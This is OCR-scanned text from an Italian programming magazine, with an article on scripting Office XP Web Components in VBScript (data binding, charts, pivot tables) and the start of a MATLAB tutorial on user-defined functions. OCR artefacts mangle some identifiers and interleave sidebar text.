d'inserire valori personali, verificare risultati attra- 
verso l'uso di formule preimpostate ed altro anco- 
ra. Esso supporta anche il linguaggio XML che mi- 
gliora il processo d'associazione dei dati con origi- 
ni esterne quali, ad esempio, MS Access. 

• Chart: questo controllo si occupa di mostrare a vi- 
deo una descrizione grafica dei dati prelevati da 
una fonte dati specificata, consentendo all'utente di 
operare su di esso in maniera analoga a quanto si 
faceva con i grafici di Excel. 

• PivotTable: consente di effettuare operazioni di 
raggruppamento dati alla stessa maniera offerta da 
Excel. Sicuramente è avvantaggiato nell'uso chi già 
utilizza questo oggetto all'interno dei propri fogli 
di lavoro Excel. 

• DataSource: consente di definire una fonte dati che 
può essere sfruttata per collegare altri componenti 
Web ad essa. La presenza di questo componente 
migliora la connessione tra un qualunque database 
supportato ed i restanti componenti presenti all'in- 
terno della pagina Web. La tecnologia utilizzata è 
ADO (Microsoft Active Data Objects) e consente di 
stabilire le connessioni con database relazionali (co- 
me Microsoft Access e Microsoft SQL Server). 

Per la connessione a dati multidimensionali, inve- 
ce, è sfruttato Microsoft Decision Support Server 
(DCUBE). 

Solo per maggiore chiarezza, è importante ricordare 
che il pacchetto degli Office XP Web Components non 
rappresenta affatto un set di controlli rilasciato per la 
prima volta con questa versione di Office. Infatti, anche 
Office 2000 comprendeva una prima release degli 
OWC, anche se la versione presente in XP introduce di- 
verse novità interessanti, prima fra tutte un'estensione 
del modello ad oggetti esposto da ciascun controllo. 



UTILIZZARE VBSCRIPT 

Come qualunque altro controllo ActiveX, anche quelli 
presenti nel pacchetto degli OWC possono essere sfrut- 




Sistema 



Nuove 
Funzioni 

r-s Con la nuova ver- 
O' sione degli OWC, 
al modello di oggetto di 
Visual Basic sono state 
apportate diverse mo- 
difiche. Il principale 
scopo è quello di sup- 
portare le nuove fun- 
zioni dell'applicazione 
e quelle migliorate. Per 
ottenere maggiori 

informazioni a riguardo 
ed essere costante- 
mente aggiornati sul- 
l'argomento, è molto 
utile il link Internet 
Web Office Developer 
Center di MSDN Online. 
Qui potrete trovare va- 
rie informazioni tecni- 
che, prodotti da scari- 
care, esempi, ecc. 



http ://www.itport al.it 



g g 



3 ► ►►67 



m 




Sistema 



I componenti 

Web di Office XP 



Eventi 
ContextMenu 

/-a L'evento Before- 
■*w ContextMenu, ap- 
plicabile a ciascuno dei 
componenti OWC (Chart, 
Spreadsheet e PivotTa- 
ble), si verifica prima 
delle visualizzazione di 
un menu di scelta rapida. 
Ecco la sintassi per la di- 
chiarazione della routine 
d'evento: Private Sub 
Oggetto_BeforeContext- 
Menu(ByVal x As Long, 
ByVal y As Long, ByVal 
Menu As Byref, ByVal 
Cancel As ByRef). 
In particolare: 

x: coordinata x in corri- 
spondenza della quale 
deve essere visualizza- 
to il menu di scelta ra- 
pida. 

y: coordinata y in corri- 
spondenza della quale 
deve essere visualizza- 
to il menu di scelta ra- 
pida. 

MENU: imposta la pro- 
prietà Value di questo 
oggetto su una matrice 
contenente le voci di 
menu da visualizzare. 

CANCEL: imposta la 
proprietà Value del- 
l'oggetto su True per 
annullare la sequenza 
di tasti. 



tati in maniera analoga all'interno dei propri program- 
mi. In particolare, è consentito interfacciarsi ad essi at- 
traverso diversi linguaggi di programmazione tra i 
quali ovviamente Visual Basic, JavaScript e VBScript. 
Naturalmente, la scelta del linguaggio da utilizzare di- 
pende dalle proprie conoscenze e dal tipo di applica- 
zione che si vuol realizzare. Per gli esempi che segui- 
ranno, si è supposto di utilizzare VBScript all'interno di 
una pagina Web. Prima di vedere qualche esempio che 
illustri alcuni modi di utilizzare questi componenti, è 
opportuno premettere alcuni piccoli accorgimenti che 
occorre tenere in considerazione durante la realizzazio- 
ne dei nostri script. Questa piccola nota riguarda il mo- 
do attraverso il quale VBScript riconosce ed interpreta 
le costanti con nome all'interno di una routine. L'utiliz- 
zo di costanti con nome, infatti, non è supportato da 
VBScript ed una riga simile alla successiva, ad esem- 
pio, non funziona correttamente: 

Set valueAxis = ChartSpacel.Charts(0).Axes( 

chAxisPositionLeft) 

In realtà, VBScript interpreta la costante con nome 
chAxisPositionLeft semplicemente come una variabile 
non inizializzata. Questo fa sì che il suo valore venga 
impostato sempre a zero, con le conseguenze che tutti 
possiamo immaginare. 

Per poter ovviare a questo "piccolo" inconveniente, 
dunque, occorre apportare qualche modifica al codice 
appena illustrato e precisamente: 

Set e = ChartSpacel.Constants 

Set valueAxis = ChartSpacel.Charts(0).Axes( 

e. chAxisPositionLeft) 

La proprietà Costants è una proprietà che può essere 
applicata a qualunque oggetto di tipo ChartSpace, Data- 
SourceControl, PivotTable o Spreadsheet e non fa altro che 
restituire un array contenente tutte le costanti disponi- 
bili nella libreria dei tipi degli OWC. Attraverso l'uti- 
lizzo della sintassi Set <Nome variabile>=<Contai- 
ner>.<Nome costante> siamo in grado di memorizzare 
questa lista di valori, indirizzando il singolo elemento 
attraverso la seconda riga mostrata nell'esempio prece- 
dente. L'utilizzo di Costants non è affatto necessario in 
linguaggi come Visual Basic ed anche se quest'ultimo 
la supporta, la documentazione a corredo ne sconsiglia 
l'uso per motivi di performance. Un'altra nota impor- 
tante, che riguarda l'utilizzo di VBScript per la creazio- 
ne delle proprie routine, è il modo nel quale esse ven- 
gono dichiarate. In Visual Basic sappiamo tutti che l'u- 
tilizzo delle parole chiave Private e ByVal consentono di 
dichiarare routine di eventi. Purtroppo, questo metodo 
non funziona in VBScript per almeno due motivi: le 
due parole chiave precedenti non sono utilizzate ed 
inoltre tutti gli argomenti vengono passati sempre co- 
me Variant. Per ovviare a quest'altro inconveniente, la 
soluzione è semplice: basta dichiarare le nostre routine 
d'eventi utilizzando semplicemente il nome dell'even- 



to ed i nomi di argomento. Di seguito ecco un sempli- 
ce esempio che illustra come aggirare l'ostacolo: 

Sub Chartl_MouseOver (Button, Shift, Target) 

Si ricordi a questo proposito che alcuni editor di script, 
tra cui MS Script Editor, non inseriscono alcun dato al- 
l'interno dell'elenco degli argomenti al momento in cui 
viene creata una routine di eventi. Questo significa che, 
affinché l'esecuzione della routine vada a buon fine, è 
necessario avvalersi del Visualizzatore oggetti oppure 
della Guida in linea, inserendo quindi i dati corretti nel- 
l'elenco degli argomenti. 



LA CONNESSIONE AL DB 

A questo punto non ci resta che vedere alcuni esempi 
che danno un'idea di massima di come interagire con 
questi componenti all'interno delle proprie pagine 
Web. Ciascuno script è stato realizzato e provato ser- 
vendosi di MS Script Editor incluso in Microsoft Front- 
Page. Il primo problema da affrontare, quando si deci- 
de di realizzare qualcosa con gli OWC, è certamente 
quello di associare ad un qualunque componente istan- 
ziato all'interno della nostra pagina Web, la corretta 
fonte dati. Innanzitutto, occorre sottolineare che la con- 
nessione tra un componente OWC ed un DB qualun- 
que può essere effettuata in almeno due modi. La pri- 
ma strada, quella probabilmente più semplice, consiste 
nel servirsi del DataSource Control in fase di design fa- 
cendo poi riferimento ad esso per "agganciare" la fon- 
te dati al controllo voluto. Questa via è senza dubbio 
più semplice rispetto a quella puramente "manuale": è 
sufficiente posizionare un nuovo controllo DataSource 
sulla pagina Web, modificarne le proprietà di connes- 
sione e sfruttarle per "popolare" i restanti controlli. La 
seconda via consiste invece nell'impostare, direttamen- 
te da VBScript, la stringa di connessione al DB, magari 
creando on-the-fly l'oggetto DataSource che ci occorre. 
Le istruzioni successive mostrano un esempio di come 
sia possibile realizzare il collegamento tra i dati pre- 
senti all'interno della tabella Products del database 
Northwind ed il controllo MyChartl: 

Dim MyDSC 

Set MyDSC = CreateObject("OWC10.DataSourceControl") 
SourceDBPath = "C:\\Programmi\\Dati \\Northwind.mdb" 
MyDSC. ConnectionString="Provider=Microsoft.Jet.OLEDB.4. 

0; data source=" & SourceDBPath 
MyDSC. RecordsetDefs.AddNew "select ProductID, 

ProductName from Products Where 

CategoryID=l", , "DatiCatl" 

MyDSC. RecordsetDefs.AddNew "select ProductID, 

ProductName from Products Where 

CategoryID=l", , "DatiCat2" 

set e = MyChartl. Constants 

set MyChartl. DataSource = MyDSC 

MyChartl. DataMember = "DatiCatl" 

set e = MyChart2. Constants 



68 ►►► M a g g 



3 



http ://www.itport al.it 



set MyChart2.DataSource = MyDSC 

MyChart2.DataMember = "DatiCat2" 

Nell'esempio, sono mostrati soltanto alcuni dei para- 
metri consentiti al momento della connessione (Provi- 
der e Data Source), ma è possibile specificare anche al- 
tre informazioni come utente e password, ad esempio. 
Inizialmente è consigliabile servirsi dell'interfaccia of- 
ferta dal componente su menzionato per impostare la 
corretta stringa di connessione. Successivamente, per 
chi non avesse già molta pratica con questo tipo di og- 
getti, sarà molto più semplice gestire il tutto diretta- 
mente da VBScript. Ora che abbiamo stabilito il colle- 
gamento con il database Northivind.mdb, occorre però 
specificare la tabella alla quale MyDSC dovrà fare rife- 
rimento. Il metodo Add, applicato a Recordefs, si occupa 
proprio di raggiungere questo scopo. RecordDefs, infat- 
ti, rappresenta l'insieme di RecordDef (definizione di 
Recordset) definiti per quel controllo. In particolare, il 
primo parametro stabilisce la definizione del set di da- 
ti da prelevare (l'istruzione SQL mostrata nell'esempio 
seleziona tutti i record appartenenti alla tabella Pro- 
ducts ed aventi Category pari ad 1 e 2 rispettivamente) 
mentre l'ultimo associa un nome preciso al set di dati 
ottenuto dall'istruzione SQL precedente. Nell'esempio 
mostrato, sono stati definiti due set diversi di recordset, 
DatiCatl e DatiCatl, ciascuno dei quali può essere uti- 
lizzato in base alle esigenze. A questo punto, l'ultimo 
passo è quello di specificare, per un qualunque con- 
trollo prescelto tra quelli disponibili, la fonte dati appe- 
na creata. Quest'ulteriore fase è completata servendosi 
delle proprietà DataSource e DataMember del compo- 
nente prescelto. La prima non fa altro che stabilire a 
quale controllo DataSource riferirsi, mentre la seconda 
imposta il corretto set di dati definito "all'interno" del- 
l'oggetto MyDSC. 

ALCUNI SCRIPT D'ESEMPIO 

Il primo esempio mostra come realizzare un foglio 
elettronico con dati preimpostati (ossia si è supposto 
di avere un componente Spreadsheet di nome Spread- 
sheet!, riempito con alcuni dati di prova in fase di de- 
sign della nostra pagina Web) ed un grafico che varia 
automaticamente al variare delle informazioni incluse 
nel primo. 
Ecco innanzitutto lo script che realizza tutto ciò: 

Dim e 

Set c=ChartSpacel.Constants 
ChartSpacel.Charts.Add 
Set ChartSpacel.DataSource=Spreadsheetl 
ChartSpacel.HasChartSpaceTitle=True 
ChartSpacel.HasChartSpacel_egend=True 
' Tipo di grafico iniziale 

ChartSpacel.Charts(0).Type = c.chChartTypeBar3D 
' Nome delle serie. 
ChartSpacel.Charts(0).SetData c.chDimSeriesNames, 
c.chDataBound, "A2:A6" 



Asse X. 

ChartSpacel.Charts(0).SetData c.chDimCategories, 

c.chDataBound, "B1:D1" 

Asse Y. 
ChartSpacel.Charts(0).SeriesCollection(0).SetData 

c.chDimValues, c.chDataBound, "B2:D2" 
ChartSpacel.Charts(0).SeriesCollection(l).SetData 

c.chDimValues, c.chDataBound, "B3:D3" 
ChartSpacel.Charts(0).SeriesCollection(2).SetData 

c.chDimValues, c.chDataBound, "B4:D4" 
ChartSpacel.Charts(0).SeriesCollection(3).SetData 

c.chDimValues, c.chDataBound, "B5:D5" 
ChartSpacel.Charts(0).SeriesCollection(4).SetData 

c.chDimValues, c.chDataBound, "B6:D6" 



Spreadsheet 



H 


1 >r) 


* * e | * | *i - ìj - » 1 








4 




Dati 




Datol 


Dato2 


Dato3 




2 


A 





900 


10 




3 


B 


100 


800 


20 




4 


C 


200 


700 


30 




5 


D 


300 


600 


40 


6 


E 


400 


500 


50 


7 












8 










T i 




\ Foalio3 " / 


<i i >r 



ChartSpacel 



s 



i n i m ^ i & i - 




Fig. 1: Un esempio d'interazione tra un 
componente Spreadsheet ed un componente Chart. 



Tralasciando le istruzioni elementari come la visualiz- 
zazione della legenda o del titolo, si vede chiaramente 
che il legame tra il componente denominato Spread- 
sheet! e il controllo ChartSpacel, è definito attraverso l'i- 
struzione Set ChartSpacel. DataSource=Spreadsheetl. 
A questo punto, stabilita quale debba essere la fonte 
dati per il grafico, è necessario impostarne le proprietà 
per una corretta visualizzazione. Naturalmente, occor- 
re precisare che le istruzioni sopra elencate dipendono 
necessariamente dal tipo di grafico che si vuole imple- 
mentare (nell'esempio si è scelto il tipo Barre 3D). Una 
volta deciso il layout del nostro oggetto, tutto quello 
che la routine fa, è "semplicemente" determinare l'area 
dati del foglio elettronico che costituirà rispettivamen- 
te la serie principale, l'asse delle X e l'asse delle Y. Lo 




Sistema 



I componenti 

Web di Office XP 



Ó 



Script di 
connessione 

Chiunque lo desi- 
deri, può adattare 
lo script utilizzando 
fonti dati diverse da 
quella utilizzata (ivi 
compresa un foglio di 
lavoro specifico di un 
controllo Spreadsheet, 
ad esempio), ma facen- 
do bene attenzione, 
però, a modificare op- 
portunamente il listato 
laddove necessario. Le 
prime tre righe dell'e- 
sempio sono piuttosto 
banali da descrivere. 
Esse non fanno altro 
che specificare il per- 
corso del DB a cui si sta 
facendo riferimento, 
creando nel contempo 
un nuovo oggetto Data- 
Source (MyDSC) a run- 
time. La nuova istanza 
di questo componente 
ci servirà successiva- 
mente come fonte dati 
per i restanti controlli. 
La stringa vera e pro- 
pria di connessione è 
così impostata attra- 
verso la proprietà Con- 
nectionString applicata 
sempre al nuovo ogget- 
to MyDSC. 



http ://www.itport al.it 



g g 



3 ► ►►69 



m 




Sistema 



I componenti 

Web di Office XP 



Termini 

utilizzati 

nell'esempio 

/* • VIEW: rappre- 
^J senta una visua- 
lizzazione specifica re- 
lativa ad un elenco Ta- 
bella Pivot. 

• PIVOTDATA: rappre- 
senta i dati all'interno 
di un elenco Tabella Pi- 
vot. 

• PIVOTFIELDSET: rap- 
presenta un set di cam- 
pi "bloccati" per forma- 
re una gerarchia. Un 
esempio concreto, pe- 
raltro mostrato proprio 
nell'help in linea offer- 
to a corredo di questi 
controlli, è quello di un 
contesto geografico. In 
tale situazione, campi 
possono essere, ad 
esempio, Continente, 
Paese, Provincia e Cit- 
tà. Normalmente, però, 
un set di campi contie- 
ne un solo campo se 
l'origine dati è un set di 
record. 

• PIVOTFIELDSETS: è 
l'insieme di oggetti di 
tipo PivotFieldSet sul- 
l'asse o nella visualiz- 
zazione specificata. 



stesso risultato poteva essere raggiunto, in maniera for- 
se più semplice, anche servendosi dell'interfaccia offer- 
ta da ciascun componente. Può anche essere interes- 
sante migliorare le capacità intrinseche offerte dal no- 
stro controllo, implementando una propria routine ri- 
chiamabile direttamente attraverso la pressione del ta- 
sto destro del mouse, accessibile cioè attraverso un'ap- 
posita voce aggiunta al menu contestuale del nostro 
componente. 

Quello mostrato di seguito è un esempio applicato al- 
l'oggetto Spreadsheet!: 

Sub Spreadsheetl_BeforeContextMenu(x, y, Menu, Cancel) 
Dìm CtxtMenu 
CtxtMenu = Menu.Value 

Numltems = UBound(CtxtMenu) + 2 

Redim Preserve CtxtMenu(Numltems) 

' Aggiungi una nuova voce di menu, separandola dalie restanti... 

CtxtMenu(NumItems - 1) = Empty 

CtxtMenu(NumItems ) = Array("Voce Menu", "Routine") 
Menu.Value = CtxtMenu 
End Sub 

dove Voce Menu rappresenta la nuova voce richiamabi- 
le dal menu contestuale di Spreadsheet!, mentre Routine 
è il nome della procedura che si attiverà quando l'u- 
tente seleziona tale voce. In particolare, può essere in- 
teressante associare particolari azioni da applicare ai 
dati presenti all'interno del foglio di lavoro, come l'or- 
dinamento, ad esempio. 

Ecco di seguito un esempio che illustra come imple- 
mentare la corretta chiamata a Routine: 

Sub Spreadsheetl_CommandExecute(Command, Succeeded) 
If VarType(Command) = vbString Then 
Select Case Command 

Case "Voce Menu 1" 

v Elenco azioni... 
Case "Voce Menu 2" 

v Elenco azioni... 
End Select 

End If 

End Sub 

IL COMPONENTE 
PIVOTTABLE 

Concludiamo questa breve panoramica sugli Office XP 
Web Components parlando di un oggetto che, per cer- 
ti aspetti, è forse più complesso da comprendere ri- 
spetto ai precedenti: il componente PivotTable. 
Il modello ad oggetti che contraddistingue questo con- 
trollo è raffigurato in Fig. 2. 

Di seguito è riportato un piccolo esempio che mostra 
come realizzare un raggruppamento dati sfruttando 
questo componente. L'esempio fa riferimento a dati 
presenti all'interno di un DB Access denominato Pi- 



PivotTable 



lOCCommands 



iPìvotData 



HPivotView 



iPivotDataAxis 



1 PivotFieldSet 



IPivotField 



~ | Pi votMemberProperties 
^PivotMembers 



IPivotFields 



ìPivotMember 



^ 



PivotMembers 



iPivotFieldSets 



iPivotFilterAxis 



HPivotFont 



jPivotGroupAHis 



iPivotLabel 



JPivotTotal 



^ 



PivotField 



ìPivotMember 



~ | Pi votMemberProperties 
i PivotMembers 



HPivotTotals 



Fig. 2: Una porzione del modello ad oggetti del 
componente PivotTable. 



votDB.mdb e formato da una sola tabella di nome In- 
ventario. La struttura di Inventario è semplice: è com- 
posta da soli tre campi di nome rispettivamente Cate- 
goria-Oggetto, Nome-Oggetto e Prezzo. Tramite questo 
esempio, l'oggetto PivotTablel non fa altro che mostra- 
re l'elenco dei prezzi di ciascun oggetto, suddivisi (rag- 
gruppati) per Categoria-Oggetto e Nome-Oggetto, mo- 
strando l'importo totale per ciascuna di queste catego- 
rie. Ogni parte del listato è stata volutamente numera- 
ta, in maniera tale da facilitare la comprensione delle 
istruzioni che lo compongono. Il primo blocco di istru- 
zioni imposta semplicemente alcuni attributi utili a mi- 
gliorare la comprensione dei dati mostrati dalla tabella 
pivot. I blocchi contrassegnati con (2) e (3), invece, si 
occupano di stabilire la connessione al nostro DB di 
prova. In particolare si osservi l'utilizzo di Command- 
Text, in coda al blocco (3). Essa non fa altro che restitui- 
re o impostare la stringa di comando dell'oggetto spe- 
cificato. In generale, senza scegliere troppo nei dettagli, 
questa proprietà restituisce o imposta una stringa di te- 
sto, in genere SQL, che restituisce un singolo gruppo di 



70 ►►► M a g g 



3 



http ://www.itport al.it 



risultati del provider. In sostanza, dunque, l'utilizzo di 
CommandText con l'istruzione SQL specificata nel li- 
stato, ci garantisce il giusto sistema di filtraggio dei da- 
ti dalla fonte originaria. Tralasciando per ovvia sempli- 
cità le due istruzioni definite in (4), passiamo dunque 
al blocco successivo. Esso rappresenta il punto iniziale 
e cruciale dal quale vengono definite le regole che de- 
termineranno la corretta visualizzazione dei dati all'in- 
terno della Tabella Pivot. 











Item Category Price ^ 




► 


E HW 50 




B 


HW 


inni 




C 


SW 


200 1 




D 


SW 


100 1 




E 


HW-SW 


50 1 




F 


HW-SW 


60 1 




G 


SW 


100 1 




H 


SW 


200 1 






SW 


500 ' 




L 


HW 


100 




M 


HW 


50 




N 


HW 


60 







HW 


60 




p 


SW 


60 




Q 


SW 


100 




R 


HW-SW 


200 




S 


HW-SW 


300 




T HW-SW 


400 = 


Record: -| - il 1 t|M|»*Nifi) 


4 


PivotDB.mdb (tabella Inventario) 
~ PivotTablel 




HI* \ì\ Il B* lutala \\"*i «HI t |*| BUI S 




Rilasciare qui i campi filtro 


Catetpiria-Oijijetto » 


Horae-Dijtretto » 


Prezzo t 




HHW 


A t 


50 




3 t 


100 




L ! 


100 


M 1 


50 


N * 


60 


o : 


60 


Totale 


420 


a hw-sw 


E 


50 


F * 


60 


R : 


200 


S * 


300 


T *_ 


400 


Totale 1 


1010 


asw 


C 


200 






o : 


100 




e ■ 


100 











Fig. 3: Interazione tra il componente Spreadsheetl 
ed il componente PivotTablel. 



Le due istruzioni definite in (5) non fanno altro che sta- 
bilire i campi che faranno parte del raggruppamento 
"riga" della nostra tabella pivot. Per semplicità, ho tra- 
lasciato di aggiungere un ulteriore raggruppamento di 
colonna, ma ovviamente quest'ulteriore possibilità po- 
teva essere raggiunta in maniera analoga sfruttando 
ColumnAxis alla stessa maniera di RowAxis. Il penulti- 
mo blocco di istruzioni ha il compito di aggiungere un 
oggetto di tipo PivotTotal a ciascun blocco-riga della Ta- 
bella Pivot. Per far questo, è necessario avvalersi del 
metodo AddTotal e successivamente, definito quest'og- 
getto, di InsertTotal per inserirlo correttamente all'inter- 
no del componente Pivot. 



Dim PTview 

Dim PTFieldSets 

Dim TotaleFields 

Dim strSQL 

Dim e 

Set c= PivotTablel. Costants 

' (1) 

' Imposta alcuni attributi di PT 

PivotTablel. DisplayExpandlndicator = True 

PivotTablel. DisplayFieldList = True 

PivotTablel. AllowDetails = True 

PivotTablel. ActiveView. RowAxis. Label. Visible = True 

PivotTablel. ActiveView.ColumnAxis. Label. Visible = True 

1(2) 

' Imposta la stringa per la connessione al DB 

sDBPath = "D:\I componenti Web di Office 
XP\PivotDB.mdb" 

strSQL = "SELECT * FROM Inventario" 

'(3) 

' Definisci la stringa di connessione 

PivotTablel. ConnectionString = "Provider= 
Microsoft. Jet. OLEDB. 4. 0;data source=" & sDBPath 

PivotTablel. CommandText = strSQL 

1(4) 

' Memorizza alcune variabili utili di PT 

Set PTview = PivotTablel. ActiveView 

Set PTFieldSets = PTview. FieldSets 

'(5) 

' Aggiungi Categoria-Oggetto e Nome-Oggetto nelle righe... 

PTview. RowAxis. InsertFieldSet PTFieldSets( 

"Categoria-Oggetto") 

PTview. RowAxis. InsertFieldSet PTFieldSets( 

"Nome-Oggetto") 

1(6) 

' Aggiungi la voce del totale (Somma dei prezzi). 
' E' possibile sostituire pIFunctionSum con 

pIFunctionAverage, pIFunctionCalculated, 
pIFunctionCount, 
' pIFunctionMax, pIFunctionMin, pIFunctionStdDev, 

pIFunctìonStdDevP, pIFunctionVar 
e pIFunctionVarP 

Set TotaleFields = PTview. AddTotal("Somma dei 

prezzi", PTFieldSets("Prezzo").Fields(0), 
e. pIFunctionSum) 

PTview. DataAxis. InsertTotal TotaleFields 

' (?) 

' Mostra i dettagli sui prezzi 

PTview.DataAxis.InsertFieldSet PTview. FieldSets("Prezzo") 

CONCLUSIONI 

Naturalmente non bastano queste poche righe di 
esempi per descrivere nel dettaglio tutte le funzio- 
nalità offerte dagli office XP Web Components. 
Credo tuttavia che quanto appena mostrato serva 
come inizio per approfondire l'argomento che, mal- 
grado la complessità esposta, consente di realizzare 
pagine Web molto utili ed interessanti. 

Francesco Lippo 




Sistema 



I componenti 

Web di Office XP 



Termini 

utilizzati 

nell'esempio 

/-ft • PivotTotal: rap- 
--*/ presenta sempli- 
cemente un totale al- 
l'interno di un elenco 
tabella pivot. Tecnica- 
mente, rappresenta il 
valore di aggregazione 
contenuto all'interno di 
una determinata cella 
della Tabella Pivot. 

• PivotGroupAxis: rap- 
presenta l'asse di rag- 
gruppamento all'inter- 
no di un elenco Tabella 
Pivot. 

• RowAxis/Colum- 
nAxis: applicati, nel ca- 
so nostro specifico, ad 
un oggetto di tipo Pi- 
votView, restituiscono 
rispettivamente un og- 
getto PivotGroupAxis 
che rappresenta l'asse 
di riga/colonna di una 
Tabella Pivot. 



http ://www.itport al.it 



g g 



3 ►►► 71 



4 4 4 4 4 4 4 4 4 4 4 4 4 Corsi Base 



MATLAB 



® 



LE FUNZIONI 



Dopo aver automatizzato il nostro lavoro attraverso 
gli script, passiamo all'uso delle funzioni. 



Nello scorso numero abbiamo visto come 
memorizzare e riutilizzare un insieme di 
comandi. In MATLAB questa operazione 
viene chiamata "script" e ci offre un primo livello di 
automatizzazione del nostro lavoro. Ha il pregio di 
essere molto immediato nella fase di creazione e di 
utilizzo ma già sappiamo che ci costringe anche ad 
alcune acrobazie da un punto di vista della gestione 
dei dati. Infatti, le variabili vengono create nel work- 
space base di MATLAB; questo ci conduce ad avere, 
prima o poi, un grande numero di variabili in un 
luogo solo, molti nomi assegnati che ci mettono di 
fronte a problemi di scelta delle nuove variabili; 
inoltre, corriamo il rischio di utilizzare le variabili 
sbagliate nel momento sbagliato. 
Il successivo passo verso una migliore gestione del- 
le nostre applicazioni é la comprensione del concet- 
to di funzione. Non casualmente viene utilizzato un 
termine preso a prestito dalla matematica. La defini- 
zione matematica di funzione suona come: siano X 
e Y due generici insiemi non vuoti; ogni volta che, 
con un procedimento qualsiasi, facciamo corrispon- 
dere ad ogni elemento x che appartiene ad X uno ed 
un solo elemento y che appartiene ad Y, diciamo di 
aver definito una funzione su X a valori in Y. 
Non dobbiamo stupirci per il linguaggio che può 
apparire astruso ed ermetico; si tratta semplicemen- 
te dello sforzo di definire rigorosamente un concet- 
to minimizzando il pericolo di venire fraintesi. Per 
questo motivo la matematica ha sviluppato una 
simbologia univoca ma noi possiamo comunque 
tradurre la nostra proposizione in un linguaggio 
meno rigoroso ma più comprensibile ai più. Provia- 
mo a riprendere la nostra definizione e a rileggerla: 
abbiamo a disposizione due insieme (X e Y) di nu- 
meri (per esempio sia X sia Y contengono i numeri 
che vanno da 1 a 100); ogni volta che con un proce- 
dimento qualsiasi (per esempio possiamo definirlo 
per mezzo di un'operazione aritmetica) facciamo 
corrispondere ad ogni elemento x che appartiene ad 
X (quindi uno dei numeri tra 1 e 100) uno ed un so- 
lo elemento y che appartiene ad Y (se dicessimo che 
x=2 potremmo definire il "procedimento" per mez- 
zo di y=x+3 e in questo modo abbiamo ricavato un 



valore di y a partire da un valore di x), diciamo di 
aver definito una funzione su X a valori in Y (cioè, 
abbiamo trovato dei valori all'interno dell'insieme Y 
a partire da valori che sono presenti in X). 
Ora, letta in questo modo non ci fa più troppa im- 
pressione. Cosa abbiamo scoperto? Che possiamo 
definire insiemi di valori {variabili), che possiamo 
applicare operazioni, combinare, manipolare queste 
variabili per ottenerne altre. Abbiamo un solo vin- 
colo: ad ogni valore di x deve corrispondere un solo 
valore y. Ma questo é un vincolo matematico; scri- 
vendo codice in un linguaggio per computer ci sba- 
razziamo anche di questo. Se utilizziamo MATLAB 
per implementare la nostra semplice funzione po- 
tremmo scrivere: 

>> x=2 

x = 

2m 

>> y=x+3 

y = 

5.00 

Noi però siamo alla ricerca di qualche cosa di diffe- 
rente a riguardo della strutturazione del codice. 
Questa operazione ci fornisce risultati corretti ma, 
per esempio, non é facilmente riutilizzabile: ogni 
volta che ne avremo bisogno dovremo riscriverla. 
Inoltre se il procedimento fosse più complesso do- 
vremmo scrivere molto più codice e le variabili in- 
termedie del calcolo sarebbero all'interno del nostro 
workspace a ingombrarci il campo e a confondere le 
idee. 

A questo fine ci permettiamo di rubare l'idea di fun- 
zione e tentiamo di implementare qualche cosa di 
molto simile in MATLAB. Per fare questo, abbiamo 
la necessità di una nuova primitiva che ci consenta 
di definire una funzione insieme alle sue variabili di 
input e di output (le x e le y della definizione di fun- 
zione). In Fig. 1 è mostrato un esempio che mostra 
l'utilizzo di una funzione che somma il numero 3 al- 
la variabile x. Proviamo a fare una radiografia di ciò 
che é stato scritto. La parola chiave "function" infor- 
ma MATLAB che ciò che stiamo definendo é una 




MATLAB 



File sul CD 



\soft\codice\matcod.zip 



PjFile sul Web 

www.itportal.it/iop69 
/matcod.zip 



http: //www. itportal.it 



M 



9 9 



3 ►►► 73 




MATLAB 



[i] 



Le funzioni 
scritte dall'u- 
tente vengono usa- 
te in tutto e per tut- 
to come quelle na- 
tive dell'ambiente 
MATLAB. 



l,l|.|]ll]IJ.4II.U].I.IJ,l..l..l.ltJ,l,Ll l Ll.l.l.l.lUU.I.mElB 



"3 al 



BSB|J*B""|#|*f. i fi | <H1 lf 1! Si m \ 

1 function risultato=somma3 (var_input) 

2 % Somma 3 alla variabile di input 

3 " risultato=var_input+3 ;| 

Li uT 



Fig. 1: Funzione "somma3. 

funzione. Ciò che segue la parola function é la defi- 
nizione della sintassi d'uso: come prima cosa scri- 
viamo la variabile di uscita (risultato), che viene pro- 
dotta da una funzione che abbiamo deciso di chia- 
mare "somma?>" , che a sua volta é seguita dai para- 
metri di ingresso racchiusi fra parentesi. Quindi, il 
corpo della funzione viene scritto in una maniera 
non dissimile da quella che abbiamo fino ad ora 
usato per scrivere i nostri script. Dobbiamo tenere 
conto che abbiamo a disposizione le variabili di- 
chiarate come ingressi e che dobbiamo produrre un 
risultato per le variabili che abbiamo dichiarato co- 
me uscite. 

Nel nostro caso il compito é molto semplice e una 
volta che la funzione è salvata possiamo utilizzarla 
a nostro piacimento: 
[i] 



>> somma3(4) 


ans = 


7.00 


>> w=9; 


>> r=somma3(w) 


r = 

12.00 


>> whos 


Name Size 


Bytes 


Class 


ans lxl 


8 


doublé array 


r lxl 


8 


doublé array 


w lxl 


8 


doublé array 


Grand total is 3 elements 


using 24 bytes 



In questo caso abbiamo utilizzato la funzione per 
calcolare la somma su un numero fornito esplicita- 
mente e appena dopo abbiamo invece utilizzato del- 
le variabili (w e r) per mantenere traccia dei valori di 
ingresso e di quelli calcolati. 

Notiamo una cosa importantissima dall'immagine 
del workspace di MATLAB: non vi é traccia dei va- 
lori delle variabili che avevamo originariamente di- 
chiarato all'interno di funzione somma?. Questo é 
normale nel caso di utilizzo di funzioni ma merita 
una piccola spiegazione. 

Le variabili che abbiamo dichiarato all'interno della 
funzione fungono da riferimento soltanto all'inter- 
no della funzione stessa; servono cioè a progettare 
l'algoritmo e vengono utilizzate al momento in cui 
invochiamo la funzione ma vengono distrutte non 



appena essa termina e restituisce il risultato calcola- 
to. Infatti, nel preciso momento in cui essa viene in- 
vocata, si forma un altro workspace specifico per la 
funzione in cui prendono vita le variabili usate per 
il calcolo insieme ai valori utilizzati per i risultati in- 
termedi. 

Nel momento in cui la funzione termina, questo 
nuovo workspace viene distrutto, la memoria libe- 
rata e tutte le variabili in esso contenute scompaio- 
no; il valore del risultato viene assegnato alla varia- 
bile che, nell'ambiente che ha chiamato la funzione, 
é stata specificata come uscita (infatti anche quando 
non specifichiamo esplicitamente un nome di varia- 
bile viene usata la variabile ans). 
Quali vantaggi ci offre questo nuovo approccio alla 
scrittura di programmi? Le funzioni nascono con l'i- 
dea di disporre di componenti riutilizzabili con 
semplicità. Il mondo dell'ingegneria da tempo ha 
scoperto che é più semplice assemblare componenti 
elementari per ottenere sistemi più complessi piut- 
tosto che sviluppare e gestire le complessità in un 
